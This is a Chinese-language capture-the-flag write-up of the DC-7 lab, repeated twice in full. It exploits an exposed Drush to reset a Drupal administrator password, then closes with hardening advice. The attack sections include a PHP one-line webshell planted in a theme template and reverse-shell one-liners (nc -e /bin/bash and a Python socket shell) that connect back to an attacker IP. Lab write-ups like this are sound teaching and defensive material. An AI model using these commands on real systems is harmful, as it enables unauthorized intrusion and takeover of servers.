1. 项目概述一次从Web到Shell的“非典型”路径最近在复现DC-7这个经典的渗透测试靶场时我发现了一个非常有意思的切入点。很多朋友拿到这个靶场第一反应可能就是去扫目录、找后台、尝试SQL注入或者上传点。这当然没错但DC-7的“官方”通关路径里其实藏着一个更优雅、也更考验对目标系统深度理解的技巧——利用Drush命令来直接修改Drupal超级管理员UID 1的密码。你可能要问Drush是什么简单来说它是Drupal Shell的缩写一个基于命令行的Drupal管理和脚本工具。对于Drupal开发者和管理员来说Drush就像瑞士军刀能高效地执行清缓存、更新模块、运行Cron等任务。但在渗透测试的视角下如果一个攻击者能够找到执行Drush命令的途径那么他几乎就拿到了整个Drupal站点的“后门钥匙”。DC-7靶场就巧妙地设计了这个场景目标网站存在一个暴露的、可被利用的Drush命令执行点。这个思路的价值在于它跳过了传统Web漏洞的“正面强攻”转而利用目标系统自身的运维工具特性进行“侧翼渗透”。对于安全从业者而言掌握这种手法不仅能拓宽渗透思路更能深刻理解“功能即漏洞”的理念——一个为方便管理而设计的功能在错误的环境或权限下就可能变成最危险的漏洞。接下来我将带你完整走通这条路径从信息收集到最终GetShell并深入剖析每一个环节的原理和避坑要点。2. 环境准备与目标信息搜集在开始任何渗透测试之前充分的侦察是成功的一半。对于DC-7这类基于特定应用Drupal的靶场我们的信息搜集需要更有针对性。2.1 靶场环境搭建与网络发现首先你需要一个可用的DC-7靶机环境。它通常以OVA虚拟机镜像的形式提供。导入到VMware或VirtualBox后首要任务是确定它的IP地址。如果靶场设置为桥接模式你可以使用netdiscover或arp-scan工具在你的局域网段内进行扫描。sudo netdiscover -r 192.168.1.0/24或者使用Nmap进行快速主机发现sudo nmap -sn 192.168.1.0/24扫描结果中寻找一个运行着常见Web服务端口如80、443的陌生IP那很可能就是DC-7靶机。假设我们找到的IP是192.168.1.105。2.2 初步Web应用指纹识别拿到IP后用浏览器直接访问http://192.168.1.105。页面加载后我们立刻能获得几个关键信息网站技术查看页面源代码通常在meta标签或link的href属性中能发现Drupal特有的路径如/core//sites/default/files/。更直接的方法是使用浏览器插件如Wappalyzer或命令行工具whatweb进行识别。whatweb http://192.168.1.105输出会明确显示“Drupal”及其可能版本。开放端口与服务对目标IP进行全端口扫描了解其暴露的攻击面。sudo nmap -sS -sV -p- 192.168.1.105 -oN nmap_full.txt典型的DC-7会开放22SSH、80HTTP端口。SSH端口的存在提示我们最终可能需要获取一个系统用户凭证。2.3 关键线索暴露的Drush与用户枚举对Drupal站点的深入侦察目录扫描是必不可少的。我习惯使用gobuster或dirb配合一个强大的字典如/usr/share/wordlists/dirb/common.txt或directory-list-2.3-medium.txt。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,md -o gobuster_scan.txt在扫描结果中你需要特别关注以下几个点/scripts/目录这是Drupal存放脚本文件的地方也是Drush可能被调用的常见位置。访问http://192.168.1.105/scripts/如果目录列表被开启你可能会看到drush或相关脚本文件。/vendor/目录Composer依赖目录有时也能找到Drush的踪迹。/sites/default/Drupal的默认站点配置文件目录虽然通常无法直接访问settings.php但可以尝试访问/sites/default/files/这里有时会泄露一些信息。一个更直接的发现在DC-7中往往在Web根目录下就存在一个名为drush的可执行文件或链接或者通过访问特定的URL路径如/vendor/drush/drush/drush可以触发Drush。这通常是由于开发或运维人员为了方便将Drush放置在了Web可访问的位置这是一个严重的安全配置错误。同时对网站进行用户枚举。Drupal的登录页面/user/login和用户资料页/user/有时会透露已注册的用户名。你也可以尝试使用wpscan虽然针对WordPress但其用户枚举思路可借鉴或编写简单脚本通过检查/user/id页面是否存在来判断。在DC-7中我们可能会发现一个名为admin或dc7user的管理员用户。注意此阶段的侦察务必细致。很多人在目录扫描时只关心admin.php、login.php却忽略了scripts、vendor这类看似普通的目录恰恰是它们可能藏着通往后台的捷径。3. Drush核心原理与漏洞利用链拆解在找到Drush的访问点后我们不能盲目执行命令。理解其工作原理和利用链才能稳定、可控地达成目标。3.1 Drush是什么为什么它能成为突破口Drush不是一个孤立的漏洞而是一个功能强大的工具被错误地暴露在了攻击面中。它的核心能力包括直接操作数据库无需通过Drupal的Web表单可直接执行SQL查询或调用Drupal的API进行用户、节点、配置的增删改查。执行PHP代码通过php-eval或php-script参数能够执行任意PHP代码。调用Drupal核心函数可以运行user-password命令来修改指定用户的密码。在安全的生产环境中Drush应该只能通过服务器本地命令行如SSH登录后执行。一旦它可以通过Web请求例如通过http://target/scripts/drush来调用就意味着攻击者能够以Web服务器进程如www-data用户的权限执行所有Drush命令。而Web服务器进程通常对Drupal的文件和数据库拥有完整的读写权限。3.2 利用链构建从命令执行到密码重置我们的攻击链非常清晰验证Drush可执行性通过Web请求访问Drush脚本确认其能正常运行并返回帮助信息或版本号。定位Drupal根目录Drush命令需要在Drupal网站的根目录下执行或者通过--root参数指定根目录路径。我们需要找到这个路径。修改管理员密码使用drush user-password命令为UID为1的超级管理员或其他已知的管理员用户名设置一个新密码。登录后台寻找进一步利用点使用新密码登录Drupal后台通常后台会存在插件上传、配置写入等能够获取代码执行权限的功能。3.3 关键参数与命令详解假设我们通过侦察发现可以通过http://192.168.1.105/vendor/drush/drush/drush来调用Drush。那么一个最基本的测试请求如下http://192.168.1.105/vendor/drush/drush/drush --version如果页面返回了Drush的版本信息如“Drush Version : 8.1.18”那么恭喜你漏洞存在。接下来是核心的密码重置命令。其完整格式通常为drush user-password username --passwordnew_password但这里有几个关键点需要注意--root参数如果当前执行目录不是Drupal根目录必须使用--root/var/www/html具体路径需根据实际情况猜测或探测来指定。用户标识可以使用用户名如admin也可以直接使用用户IDUID其中UID 1是默认的超级管理员账户是最稳妥的目标。密码复杂度Drupal对密码有一定强度要求。过于简单的密码如password123可能会被Drush或Drupal拒绝。最好使用一个符合常见复杂度要求的密码。因此一个完整的利用URL可能看起来像这样http://192.168.1.105/vendor/drush/drush/drush --root/var/www/html user-password admin --passwordMyNewStrongPssw0rd!实操心得在实际测试中路径/var/www/html是Linux上常见的Web根目录但并非绝对。如果此路径失败可以尝试/var/www、/usr/share/nginx/html、/srv/http等。一个技巧是利用Drush自身的status命令来探测http://.../drush status --fieldsroot这个命令会直接输出Drupal根目录的绝对路径。4. 完整渗透实操过程记录理论清晰后我们进入实战环节。我将以一次模拟的完整渗透过程为例展示每一步的操作、输出和思考。4.1 第一步确认Drush访问点并获取环境信息首先我使用curl命令来安全、快速地测试Drush是否可用并获取基本信息。curl -s http://192.168.1.105/vendor/drush/drush/drush --version返回Drush Version : 10.6.2很好Drush可用且版本为10.6.2。接下来我需要知道Drupal的根目录在哪里。尝试使用status命令curl -s http://192.168.1.105/vendor/drush/drush/drush status --fieldsroot,uri,drupal-version返回可能类似于Drupal root : /var/www/drupal Site URI : http://dc-7 Drupal version : 9.5.11成功我们获得了最关键的信息Drupal根目录是/var/www/drupal版本是9.5.11。这比盲目猜测高效得多。4.2 第二步枚举现有用户并选择目标在修改密码前最好确认一下目标用户。我们可以尝试用Drush列出用户。但请注意直接执行drush user-list可能需要更高权限或特定参数。一个更隐蔽的方法是尝试通过用户名猜测如admin, administrator, root, dc7user或者利用Drupal的REST API如果开启来枚举。在DC-7的上下文中我们通常已知或能猜到管理员用户。为了稳妥我决定直接针对UID 1默认超级管理员进行操作。这是Drupal安装时创建的第一个用户几乎总是存在的。4.3 第三步执行密码重置命令现在构造最终的利用URL。我将使用--root参数指定我们刚刚发现的路径并为UID为1的用户设置一个强密码。curl -s http://192.168.1.105/vendor/drush/drush/drush --root/var/www/drupal user-password 1 --password\D7_Admin_Pss!2024\执行这条命令后观察输出。成功的密码重置操作Drush通常不会有太花哨的提示可能只返回一个简单的“[success]”或没有任何错误信息。而如果失败则会显示错误如“[error]”开头的提示。更安全的测试方式为了避免因密码复杂度或用户不存在导致的失败干扰判断可以先使用一个简单的php-eval命令测试代码执行是否畅通curl -s http://192.168.1.105/vendor/drush/drush/drush --root/var/www/drupal php-eval \echo Hello from Drush;\如果页面返回“Hello from Drush”则证明命令执行环境完全正常可以放心进行密码重置。4.4 第四步登录Drupal后台与权限提升假设密码修改成功现在访问Drupal的登录页面http://192.168.1.105/user/login。用户名admin(或你通过其他方式得知的实际用户名如果使用UID 1用户名通常是admin)。密码D7_Admin_Pss!2024。点击登录。如果成功你将进入Drupal的管理后台。这是一个重要的里程碑意味着你已完全控制了网站的内容和大部分配置。在Drupal后台获取服务器操作系统权限GetShell的常见方法有安装恶意模块在“扩展”页面尝试直接上传一个包含后门代码的.zip格式模块。Drupal 8/9对模块上传有严格限制此路通常不通。修改现有模块或主题文件在后台找到“文件系统”或直接通过“外观”-“主题”或“扩展”-“模块”找到正在使用的主题或模块的编辑界面。有些主题的page.tpl.php或模块的.module文件可以直接编辑。你可以插入一句话PHP Webshell例如?php system($_GET[‘cmd’]); ?。利用PHP Filter模块如果启用这是一个历史遗留的危险模块允许在内容中直接执行PHP代码。如果靶场环境启用了它你可以在创建一篇新的文章或区块时选择“PHP code”文本格式然后写入你的Webshell代码。修改站点配置文件访问/admin/config/development/configuration/single/export尝试导出system.site配置在其中插入恶意代码再导入。但这需要特定权限且操作复杂。在DC-7的场景中经过探索最可能的方式是通过主题文件编辑插入Webshell。找到当前使用的主题例如bartik编辑其page.tpl.php或html.tpl.php文件在文件末尾添加你的Webshell代码。4.5 第五步获取反向Shell与系统权限成功插入Webshell后假设你插入到了主题的模板文件中访问任何前端页面都会加载该文件你可以通过浏览器访问该页面并传递cmd参数来执行命令例如http://192.168.1.105/node?cmdwhoami页面可能会显示www-data确认了代码执行权限。但交互性差的Webshell不利于深入渗透。我们需要一个反向Shell。使用nc、bash或python来建立连接。首先在攻击机Kali上监听一个端口nc -lvnp 4444然后通过Webshell执行反向Shell命令。注意需要对特殊字符进行URL编码。# 使用bash反向连接如果目标有nc curl -s http://192.168.1.105/node?cmdnc%20-e%20/bin/bash%20192.168.1.100%204444 # 使用python更可靠 curl -s http://192.168.1.105/node?cmdpython3%20-c%20%27import%20socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.100%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27将192.168.1.100替换为你的Kali攻击机IP。如果成功你将在nc监听端口中获得一个反向Shell。拿到www-data用户的Shell后进行基本的系统信息枚举uname -a,id,sudo -l并寻找提权到root的方法。在DC-7中通常会设置一个需要破解或利用的提权点例如一个具有SUID权限的特殊二进制文件、一个配置错误的sudo规则或者一个内核漏洞。这部分属于常规的Linux提权范畴不在本文核心讨论范围内但却是完整渗透的最终目标。5. 深度防御如何发现与修复此类漏洞作为防守方或网站管理员了解攻击手法后更重要的是如何防护。针对“暴露的Drush”这类问题防御是清晰且多层次的。5.1 漏洞根因与检测方法根因根本原因在于将命令行管理工具Drush放置在了Web服务器文档根目录下导致其可以通过HTTP协议直接访问。这通常发生在开发人员为了方便将整个项目目录包含vendor/部署到了Web根目录。使用了类似git clone的方式部署没有清理非Web必要的文件和目录。服务器目录权限配置错误导致本应无法通过Web访问的目录变得可访问。检测方法自动化扫描使用OWASP ZAP、Burp Suite等工具的主动扫描功能或使用nikto、dirb等目录扫描工具检查是否存在/vendor/drush/、/scripts/drush、/drush等路径。手动审查定期审查Web根目录下的文件和目录列表移除所有非Web必要的文件特别是.php、.sh、可执行文件以及vendor/、node_modules/、.git/等目录。配置审查检查Web服务器如Apache的.htaccess或Nginx的location配置是否对敏感目录进行了访问限制。5.2 修复与加固方案修复措施按照优先级排列立即移除或限制访问治标最佳实践将vendor/drush/drush目录完全移出Web根目录。Drush应该作为全局命令行工具安装如composer global require drush/drush或在项目目录中通过../vendor/bin/drush调用但其路径本身不应被Web服务器服务。访问控制如果因故无法移动必须在Web服务器层面严格禁止对该路径的访问。Apache在.htaccess或虚拟主机配置中添加LocationMatch ^/(vendor|drush|scripts) Require all denied /LocationMatchNginx在server配置中添加location ~ ^/(vendor|drush|scripts) { deny all; return 403; }环境隔离与权限最小化治本文件系统权限确保Web服务器用户如www-data对Drupal根目录只有必要的读写权限通常/sites/default/files需要写权限其他目录应设为只读。可以使用find命令批量修改find /var/www/drupal -type f -exec chmod 644 {} \; find /var/www/drupal -type d -exec chmod 755 {} \; chmod -R 775 /var/www/drupal/sites/default/files # 单独设置上传目录权限使用系统包管理器在生产环境考虑使用操作系统包管理器如apt install drush安装Drush而非通过项目的Composer避免vendor目录出现在Web树下。安全开发与部署流程将vendor/、.git/等目录添加到.gitignore避免被提交到代码库。在部署脚本中明确步骤将vendor等非Web目录移出Web根目录或使用构建工具如Deployer进行干净的部署。使用composer install --no-dev在生产环境安装依赖减少不必要的开发工具暴露风险。监控与审计在Web服务器日志中监控对敏感路径如/vendor/、/drush的访问尝试设置告警。定期进行安全扫描和渗透测试主动发现此类配置缺陷。重要提示仅仅删除或屏蔽Drush文件可能不够。攻击者可能会寻找其他暴露的管理脚本、调试终端如/admin/devel或配置错误的API端点。因此建立“最小权限原则”和“纵深防御”的安全思维至关重要。6. 拓展思考从Drush到其他CMS管理工具的攻防DC-7利用Drush的思路揭示了一类广泛的安全问题Web应用的管理/运维接口暴露。这绝非Drupal或Drush独有。WordPress存在wp-admin/admin-ajax.php被滥用执行某些操作或者xmlrpc.php文件被用于暴力破解或DDoS。更常见的是安装插件或主题时留下的调试文件如/wp-content/uploads/backdoor.php。Joomla!其管理员后台/administrator/若使用弱密码风险极高。一些第三方组件也可能存在未授权的命令执行漏洞。Laravel如果.env配置文件泄露将导致数据库凭证、APP_KEY等敏感信息暴露。调试模式APP_DEBUGtrue在生产环境开启会泄露详细的栈跟踪信息。通用问题许多框架在开发模式下会暴露路由列表、配置信息如Spring Boot的/actuator端点如果未在生产环境关闭将成为信息搜集的宝藏。作为攻击者你的武器库应该包含对这些常见CMS和框架的管理接口、配置文件和调试功能的深度认知。在信息搜集阶段要有意识地寻找*/admin/*,*/wp-admin/*,*/administrator/**/vendor/*,*/node_modules/**.git/*(Git目录泄露)*.env,*config*.php,*settings*.py*/debug*,*/console*,*/phpinfo*作为防御者必须建立清单在应用上线前系统地检查和关闭这些潜在的风险点确保生产环境关闭所有调试和开发模式。使用robots.txt或直接服务器配置屏蔽对管理后台、配置目录、依赖目录的爬取和访问。对管理后台实施强密码、双因素认证和IP白名单如果可能等多重保护。定期使用grep搜索代码库中可能存在的phpinfo()、eval()、system()等危险函数并审查其调用是否安全。DC-7靶场通过Drush这个点生动地展示了“功能误置”带来的安全风险。它提醒我们安全不仅仅是修补CVE漏洞更是对系统架构、配置管理和运维流程的全面审视。每一次便捷性的提升都可能在不经意间打开一扇危险的后门。真正的安全始于对每一个细节的敬畏和掌控。
DC-7靶场渗透：利用暴露的Drush命令重置Drupal管理员密码实战
发布时间：2026/7/28 7:12:18
1. 项目概述一次从Web到Shell的“非典型”路径最近在复现DC-7这个经典的渗透测试靶场时我发现了一个非常有意思的切入点。很多朋友拿到这个靶场第一反应可能就是去扫目录、找后台、尝试SQL注入或者上传点。这当然没错但DC-7的“官方”通关路径里其实藏着一个更优雅、也更考验对目标系统深度理解的技巧——利用Drush命令来直接修改Drupal超级管理员UID 1的密码。你可能要问Drush是什么简单来说它是Drupal Shell的缩写一个基于命令行的Drupal管理和脚本工具。对于Drupal开发者和管理员来说Drush就像瑞士军刀能高效地执行清缓存、更新模块、运行Cron等任务。但在渗透测试的视角下如果一个攻击者能够找到执行Drush命令的途径那么他几乎就拿到了整个Drupal站点的“后门钥匙”。DC-7靶场就巧妙地设计了这个场景目标网站存在一个暴露的、可被利用的Drush命令执行点。这个思路的价值在于它跳过了传统Web漏洞的“正面强攻”转而利用目标系统自身的运维工具特性进行“侧翼渗透”。对于安全从业者而言掌握这种手法不仅能拓宽渗透思路更能深刻理解“功能即漏洞”的理念——一个为方便管理而设计的功能在错误的环境或权限下就可能变成最危险的漏洞。接下来我将带你完整走通这条路径从信息收集到最终GetShell并深入剖析每一个环节的原理和避坑要点。2. 环境准备与目标信息搜集在开始任何渗透测试之前充分的侦察是成功的一半。对于DC-7这类基于特定应用Drupal的靶场我们的信息搜集需要更有针对性。2.1 靶场环境搭建与网络发现首先你需要一个可用的DC-7靶机环境。它通常以OVA虚拟机镜像的形式提供。导入到VMware或VirtualBox后首要任务是确定它的IP地址。如果靶场设置为桥接模式你可以使用netdiscover或arp-scan工具在你的局域网段内进行扫描。sudo netdiscover -r 192.168.1.0/24或者使用Nmap进行快速主机发现sudo nmap -sn 192.168.1.0/24扫描结果中寻找一个运行着常见Web服务端口如80、443的陌生IP那很可能就是DC-7靶机。假设我们找到的IP是192.168.1.105。2.2 初步Web应用指纹识别拿到IP后用浏览器直接访问http://192.168.1.105。页面加载后我们立刻能获得几个关键信息网站技术查看页面源代码通常在meta标签或link的href属性中能发现Drupal特有的路径如/core//sites/default/files/。更直接的方法是使用浏览器插件如Wappalyzer或命令行工具whatweb进行识别。whatweb http://192.168.1.105输出会明确显示“Drupal”及其可能版本。开放端口与服务对目标IP进行全端口扫描了解其暴露的攻击面。sudo nmap -sS -sV -p- 192.168.1.105 -oN nmap_full.txt典型的DC-7会开放22SSH、80HTTP端口。SSH端口的存在提示我们最终可能需要获取一个系统用户凭证。2.3 关键线索暴露的Drush与用户枚举对Drupal站点的深入侦察目录扫描是必不可少的。我习惯使用gobuster或dirb配合一个强大的字典如/usr/share/wordlists/dirb/common.txt或directory-list-2.3-medium.txt。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,md -o gobuster_scan.txt在扫描结果中你需要特别关注以下几个点/scripts/目录这是Drupal存放脚本文件的地方也是Drush可能被调用的常见位置。访问http://192.168.1.105/scripts/如果目录列表被开启你可能会看到drush或相关脚本文件。/vendor/目录Composer依赖目录有时也能找到Drush的踪迹。/sites/default/Drupal的默认站点配置文件目录虽然通常无法直接访问settings.php但可以尝试访问/sites/default/files/这里有时会泄露一些信息。一个更直接的发现在DC-7中往往在Web根目录下就存在一个名为drush的可执行文件或链接或者通过访问特定的URL路径如/vendor/drush/drush/drush可以触发Drush。这通常是由于开发或运维人员为了方便将Drush放置在了Web可访问的位置这是一个严重的安全配置错误。同时对网站进行用户枚举。Drupal的登录页面/user/login和用户资料页/user/有时会透露已注册的用户名。你也可以尝试使用wpscan虽然针对WordPress但其用户枚举思路可借鉴或编写简单脚本通过检查/user/id页面是否存在来判断。在DC-7中我们可能会发现一个名为admin或dc7user的管理员用户。注意此阶段的侦察务必细致。很多人在目录扫描时只关心admin.php、login.php却忽略了scripts、vendor这类看似普通的目录恰恰是它们可能藏着通往后台的捷径。3. Drush核心原理与漏洞利用链拆解在找到Drush的访问点后我们不能盲目执行命令。理解其工作原理和利用链才能稳定、可控地达成目标。3.1 Drush是什么为什么它能成为突破口Drush不是一个孤立的漏洞而是一个功能强大的工具被错误地暴露在了攻击面中。它的核心能力包括直接操作数据库无需通过Drupal的Web表单可直接执行SQL查询或调用Drupal的API进行用户、节点、配置的增删改查。执行PHP代码通过php-eval或php-script参数能够执行任意PHP代码。调用Drupal核心函数可以运行user-password命令来修改指定用户的密码。在安全的生产环境中Drush应该只能通过服务器本地命令行如SSH登录后执行。一旦它可以通过Web请求例如通过http://target/scripts/drush来调用就意味着攻击者能够以Web服务器进程如www-data用户的权限执行所有Drush命令。而Web服务器进程通常对Drupal的文件和数据库拥有完整的读写权限。3.2 利用链构建从命令执行到密码重置我们的攻击链非常清晰验证Drush可执行性通过Web请求访问Drush脚本确认其能正常运行并返回帮助信息或版本号。定位Drupal根目录Drush命令需要在Drupal网站的根目录下执行或者通过--root参数指定根目录路径。我们需要找到这个路径。修改管理员密码使用drush user-password命令为UID为1的超级管理员或其他已知的管理员用户名设置一个新密码。登录后台寻找进一步利用点使用新密码登录Drupal后台通常后台会存在插件上传、配置写入等能够获取代码执行权限的功能。3.3 关键参数与命令详解假设我们通过侦察发现可以通过http://192.168.1.105/vendor/drush/drush/drush来调用Drush。那么一个最基本的测试请求如下http://192.168.1.105/vendor/drush/drush/drush --version如果页面返回了Drush的版本信息如“Drush Version : 8.1.18”那么恭喜你漏洞存在。接下来是核心的密码重置命令。其完整格式通常为drush user-password username --passwordnew_password但这里有几个关键点需要注意--root参数如果当前执行目录不是Drupal根目录必须使用--root/var/www/html具体路径需根据实际情况猜测或探测来指定。用户标识可以使用用户名如admin也可以直接使用用户IDUID其中UID 1是默认的超级管理员账户是最稳妥的目标。密码复杂度Drupal对密码有一定强度要求。过于简单的密码如password123可能会被Drush或Drupal拒绝。最好使用一个符合常见复杂度要求的密码。因此一个完整的利用URL可能看起来像这样http://192.168.1.105/vendor/drush/drush/drush --root/var/www/html user-password admin --passwordMyNewStrongPssw0rd!实操心得在实际测试中路径/var/www/html是Linux上常见的Web根目录但并非绝对。如果此路径失败可以尝试/var/www、/usr/share/nginx/html、/srv/http等。一个技巧是利用Drush自身的status命令来探测http://.../drush status --fieldsroot这个命令会直接输出Drupal根目录的绝对路径。4. 完整渗透实操过程记录理论清晰后我们进入实战环节。我将以一次模拟的完整渗透过程为例展示每一步的操作、输出和思考。4.1 第一步确认Drush访问点并获取环境信息首先我使用curl命令来安全、快速地测试Drush是否可用并获取基本信息。curl -s http://192.168.1.105/vendor/drush/drush/drush --version返回Drush Version : 10.6.2很好Drush可用且版本为10.6.2。接下来我需要知道Drupal的根目录在哪里。尝试使用status命令curl -s http://192.168.1.105/vendor/drush/drush/drush status --fieldsroot,uri,drupal-version返回可能类似于Drupal root : /var/www/drupal Site URI : http://dc-7 Drupal version : 9.5.11成功我们获得了最关键的信息Drupal根目录是/var/www/drupal版本是9.5.11。这比盲目猜测高效得多。4.2 第二步枚举现有用户并选择目标在修改密码前最好确认一下目标用户。我们可以尝试用Drush列出用户。但请注意直接执行drush user-list可能需要更高权限或特定参数。一个更隐蔽的方法是尝试通过用户名猜测如admin, administrator, root, dc7user或者利用Drupal的REST API如果开启来枚举。在DC-7的上下文中我们通常已知或能猜到管理员用户。为了稳妥我决定直接针对UID 1默认超级管理员进行操作。这是Drupal安装时创建的第一个用户几乎总是存在的。4.3 第三步执行密码重置命令现在构造最终的利用URL。我将使用--root参数指定我们刚刚发现的路径并为UID为1的用户设置一个强密码。curl -s http://192.168.1.105/vendor/drush/drush/drush --root/var/www/drupal user-password 1 --password\D7_Admin_Pss!2024\执行这条命令后观察输出。成功的密码重置操作Drush通常不会有太花哨的提示可能只返回一个简单的“[success]”或没有任何错误信息。而如果失败则会显示错误如“[error]”开头的提示。更安全的测试方式为了避免因密码复杂度或用户不存在导致的失败干扰判断可以先使用一个简单的php-eval命令测试代码执行是否畅通curl -s http://192.168.1.105/vendor/drush/drush/drush --root/var/www/drupal php-eval \echo Hello from Drush;\如果页面返回“Hello from Drush”则证明命令执行环境完全正常可以放心进行密码重置。4.4 第四步登录Drupal后台与权限提升假设密码修改成功现在访问Drupal的登录页面http://192.168.1.105/user/login。用户名admin(或你通过其他方式得知的实际用户名如果使用UID 1用户名通常是admin)。密码D7_Admin_Pss!2024。点击登录。如果成功你将进入Drupal的管理后台。这是一个重要的里程碑意味着你已完全控制了网站的内容和大部分配置。在Drupal后台获取服务器操作系统权限GetShell的常见方法有安装恶意模块在“扩展”页面尝试直接上传一个包含后门代码的.zip格式模块。Drupal 8/9对模块上传有严格限制此路通常不通。修改现有模块或主题文件在后台找到“文件系统”或直接通过“外观”-“主题”或“扩展”-“模块”找到正在使用的主题或模块的编辑界面。有些主题的page.tpl.php或模块的.module文件可以直接编辑。你可以插入一句话PHP Webshell例如?php system($_GET[‘cmd’]); ?。利用PHP Filter模块如果启用这是一个历史遗留的危险模块允许在内容中直接执行PHP代码。如果靶场环境启用了它你可以在创建一篇新的文章或区块时选择“PHP code”文本格式然后写入你的Webshell代码。修改站点配置文件访问/admin/config/development/configuration/single/export尝试导出system.site配置在其中插入恶意代码再导入。但这需要特定权限且操作复杂。在DC-7的场景中经过探索最可能的方式是通过主题文件编辑插入Webshell。找到当前使用的主题例如bartik编辑其page.tpl.php或html.tpl.php文件在文件末尾添加你的Webshell代码。4.5 第五步获取反向Shell与系统权限成功插入Webshell后假设你插入到了主题的模板文件中访问任何前端页面都会加载该文件你可以通过浏览器访问该页面并传递cmd参数来执行命令例如http://192.168.1.105/node?cmdwhoami页面可能会显示www-data确认了代码执行权限。但交互性差的Webshell不利于深入渗透。我们需要一个反向Shell。使用nc、bash或python来建立连接。首先在攻击机Kali上监听一个端口nc -lvnp 4444然后通过Webshell执行反向Shell命令。注意需要对特殊字符进行URL编码。# 使用bash反向连接如果目标有nc curl -s http://192.168.1.105/node?cmdnc%20-e%20/bin/bash%20192.168.1.100%204444 # 使用python更可靠 curl -s http://192.168.1.105/node?cmdpython3%20-c%20%27import%20socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.100%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27将192.168.1.100替换为你的Kali攻击机IP。如果成功你将在nc监听端口中获得一个反向Shell。拿到www-data用户的Shell后进行基本的系统信息枚举uname -a,id,sudo -l并寻找提权到root的方法。在DC-7中通常会设置一个需要破解或利用的提权点例如一个具有SUID权限的特殊二进制文件、一个配置错误的sudo规则或者一个内核漏洞。这部分属于常规的Linux提权范畴不在本文核心讨论范围内但却是完整渗透的最终目标。5. 深度防御如何发现与修复此类漏洞作为防守方或网站管理员了解攻击手法后更重要的是如何防护。针对“暴露的Drush”这类问题防御是清晰且多层次的。5.1 漏洞根因与检测方法根因根本原因在于将命令行管理工具Drush放置在了Web服务器文档根目录下导致其可以通过HTTP协议直接访问。这通常发生在开发人员为了方便将整个项目目录包含vendor/部署到了Web根目录。使用了类似git clone的方式部署没有清理非Web必要的文件和目录。服务器目录权限配置错误导致本应无法通过Web访问的目录变得可访问。检测方法自动化扫描使用OWASP ZAP、Burp Suite等工具的主动扫描功能或使用nikto、dirb等目录扫描工具检查是否存在/vendor/drush/、/scripts/drush、/drush等路径。手动审查定期审查Web根目录下的文件和目录列表移除所有非Web必要的文件特别是.php、.sh、可执行文件以及vendor/、node_modules/、.git/等目录。配置审查检查Web服务器如Apache的.htaccess或Nginx的location配置是否对敏感目录进行了访问限制。5.2 修复与加固方案修复措施按照优先级排列立即移除或限制访问治标最佳实践将vendor/drush/drush目录完全移出Web根目录。Drush应该作为全局命令行工具安装如composer global require drush/drush或在项目目录中通过../vendor/bin/drush调用但其路径本身不应被Web服务器服务。访问控制如果因故无法移动必须在Web服务器层面严格禁止对该路径的访问。Apache在.htaccess或虚拟主机配置中添加LocationMatch ^/(vendor|drush|scripts) Require all denied /LocationMatchNginx在server配置中添加location ~ ^/(vendor|drush|scripts) { deny all; return 403; }环境隔离与权限最小化治本文件系统权限确保Web服务器用户如www-data对Drupal根目录只有必要的读写权限通常/sites/default/files需要写权限其他目录应设为只读。可以使用find命令批量修改find /var/www/drupal -type f -exec chmod 644 {} \; find /var/www/drupal -type d -exec chmod 755 {} \; chmod -R 775 /var/www/drupal/sites/default/files # 单独设置上传目录权限使用系统包管理器在生产环境考虑使用操作系统包管理器如apt install drush安装Drush而非通过项目的Composer避免vendor目录出现在Web树下。安全开发与部署流程将vendor/、.git/等目录添加到.gitignore避免被提交到代码库。在部署脚本中明确步骤将vendor等非Web目录移出Web根目录或使用构建工具如Deployer进行干净的部署。使用composer install --no-dev在生产环境安装依赖减少不必要的开发工具暴露风险。监控与审计在Web服务器日志中监控对敏感路径如/vendor/、/drush的访问尝试设置告警。定期进行安全扫描和渗透测试主动发现此类配置缺陷。重要提示仅仅删除或屏蔽Drush文件可能不够。攻击者可能会寻找其他暴露的管理脚本、调试终端如/admin/devel或配置错误的API端点。因此建立“最小权限原则”和“纵深防御”的安全思维至关重要。6. 拓展思考从Drush到其他CMS管理工具的攻防DC-7利用Drush的思路揭示了一类广泛的安全问题Web应用的管理/运维接口暴露。这绝非Drupal或Drush独有。WordPress存在wp-admin/admin-ajax.php被滥用执行某些操作或者xmlrpc.php文件被用于暴力破解或DDoS。更常见的是安装插件或主题时留下的调试文件如/wp-content/uploads/backdoor.php。Joomla!其管理员后台/administrator/若使用弱密码风险极高。一些第三方组件也可能存在未授权的命令执行漏洞。Laravel如果.env配置文件泄露将导致数据库凭证、APP_KEY等敏感信息暴露。调试模式APP_DEBUGtrue在生产环境开启会泄露详细的栈跟踪信息。通用问题许多框架在开发模式下会暴露路由列表、配置信息如Spring Boot的/actuator端点如果未在生产环境关闭将成为信息搜集的宝藏。作为攻击者你的武器库应该包含对这些常见CMS和框架的管理接口、配置文件和调试功能的深度认知。在信息搜集阶段要有意识地寻找*/admin/*,*/wp-admin/*,*/administrator/**/vendor/*,*/node_modules/**.git/*(Git目录泄露)*.env,*config*.php,*settings*.py*/debug*,*/console*,*/phpinfo*作为防御者必须建立清单在应用上线前系统地检查和关闭这些潜在的风险点确保生产环境关闭所有调试和开发模式。使用robots.txt或直接服务器配置屏蔽对管理后台、配置目录、依赖目录的爬取和访问。对管理后台实施强密码、双因素认证和IP白名单如果可能等多重保护。定期使用grep搜索代码库中可能存在的phpinfo()、eval()、system()等危险函数并审查其调用是否安全。DC-7靶场通过Drush这个点生动地展示了“功能误置”带来的安全风险。它提醒我们安全不仅仅是修补CVE漏洞更是对系统架构、配置管理和运维流程的全面审视。每一次便捷性的提升都可能在不经意间打开一扇危险的后门。真正的安全始于对每一个细节的敬畏和掌控。
